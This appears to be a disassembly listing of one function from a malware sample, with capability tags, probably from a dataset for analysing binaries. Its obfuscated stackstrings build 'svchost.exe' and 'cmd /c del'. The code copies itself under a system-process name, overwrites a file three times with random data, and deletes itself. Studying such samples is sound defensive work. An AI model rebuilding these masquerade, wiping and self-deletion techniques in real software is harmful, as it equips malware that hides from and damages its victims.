Function at 0x401e10
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
push ebx
push esi
push edi
jb 0x401e21
jae 0x401e21
call 0x6893f958
push esp
pop ecx
inc eax
add byte [eax + 0x54], ch
pop ecx
inc eax
add byte [edx - 1], ch
xor ebx, ebx
push ebx
push 0x405954
push 0x405954
push 0xffffffffffffffff
call dword [0x405958]
call fcn.00401a90
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x18b]
mov byte [ebp - 0x18c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x28f]
mov byte [ebp - 0x290], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x290]
push 0x104
push eax
push ebx
call fcn.004027b0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x393]
mov byte [ebp - 0x394], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
lea ecx, [ebp - 0x394]
push 0x23
push ecx
push ebx
stosb byte es:[edi], al
call fcn.00402230
push 0x58
push 0x43
call fcn.00401af0
add esp, 0x24
push eax
push 0x59
push 0x42
call fcn.00401af0
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00401af0
add esp, 8
push eax
push 0x58
push 0x43
call fcn.00401af0
add esp, 8
push eax
push 0x59
push 0x42
call fcn.00401af0
add esp, 8
push eax
push 0x5a
push 0x41
call fcn.00401af0
add esp, 8
lea edx, [ebp - 0x394]
push eax
push edx
lea eax, [ebp - 0x18c]
push 0x405944
push eax
call dword [0x40595c]
push ebx
lea ecx, [ebp - 0x18c]
push ecx
call fcn.00402380
mov al, 0x73
add esp, 0x2c
mov byte [ebp - 0xf], al
mov byte [ebp - 0xa], al
lea edx, [ebp - 0x10]
lea eax, [ebp - 0x18c]
push edx
push eax
mov byte [ebp - 0x10], 0x5c
mov byte [ebp - 0xe], 0x76
mov byte [ebp - 0xd], 0x63
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x290]
push ecx
push edx
call sub.MSVCRT.DLL__strlwr
add esp, 4
push eax
call sub.MSVCRT.DLL_strstr
add esp, 8
test eax, eax
jne 0x402100
lea eax, [ebp - 0x18c]
push 1
lea ecx, [ebp - 0x290]
push eax
push ecx
call fcn.00401d40
add esp, 0xc
push 0xc8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
push 0x80
push 3
push ebx
push ebx
lea edx, [ebp - 0x18c]
push 0xc0000000
push edx
call fcn.004025d0
add esp, 0x1c
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x40204a
push 2
push ebx
push ebx
push eax
call fcn.004022f0
push 0x100000
call sub.MSVCRT.DLL_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov esi, eax
xor edi, edi
call sub.MSVCRT.DLL_rand
add eax, edi
mov ecx, 0xff
cdq
idiv ecx
inc edi
cmp edi, 0x100000
mov byte [edi + esi - 1], dl
jl 0x401fe9
mov edi, 3
xor eax, eax
mov cl, byte [eax + esi]
dec cl
mov byte [eax + esi], cl
inc eax
cmp eax, 0x100000
jl 0x40200c
push 3
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x24]
push ebx
push edx
push 0x100000
push esi
push eax
call fcn.00402660
add esp, 0x14
dec edi
jne 0x40200a
push esi
call sub.MSVCRT.DLL_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0x20]
add esp, 4
push eax
call fcn.004026e0
lea ecx, [ebp - 0x18c]
push 5
push ecx
call fcn.00402750
add esp, 0xc
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0x87]
mov byte [ebp - 0x88], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, 0x64
mov al, 0x20
mov byte [ebp - 0x1a], cl
mov byte [ebp - 0x19], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x12], al
lea edi, [ebp - 0x1c]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x1c], 0x63
mov byte [ebp - 0x1b], 0x6d
mov byte [ebp - 0x18], 0x2f
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x11], bl
lea edx, [ebp - 0x88]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
lea ecx, [ebp - 0x88]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x88]
push ebx
push edx
call fcn.00402750
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea edi, [ebp - 0x290]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, 0x414da0
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x401c50
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
push ebx
call fcn.00402910
add esp, 0x18
push 0x4e20
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push ebx
call esi
lea ecx, [ebp - 0x494]
push ecx
call fcn.00401db0
lea edx, [ebp - 0x494]
push edx
call sub.MSVCRT.DLL_atoi
add esp, 8
cmp eax, 0x1332cba
jle 0x402180
push ebx
push ebx
push ebx
push 0x401750
push ebx
push ebx
call fcn.00402910
add esp, 0x18
push ebx
push ebx
push ebx
push 0x4018c0
push ebx
push ebx
call fcn.00402910
add esp, 0x18
push ebx
call esi
call fcn.00401370
push ebx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret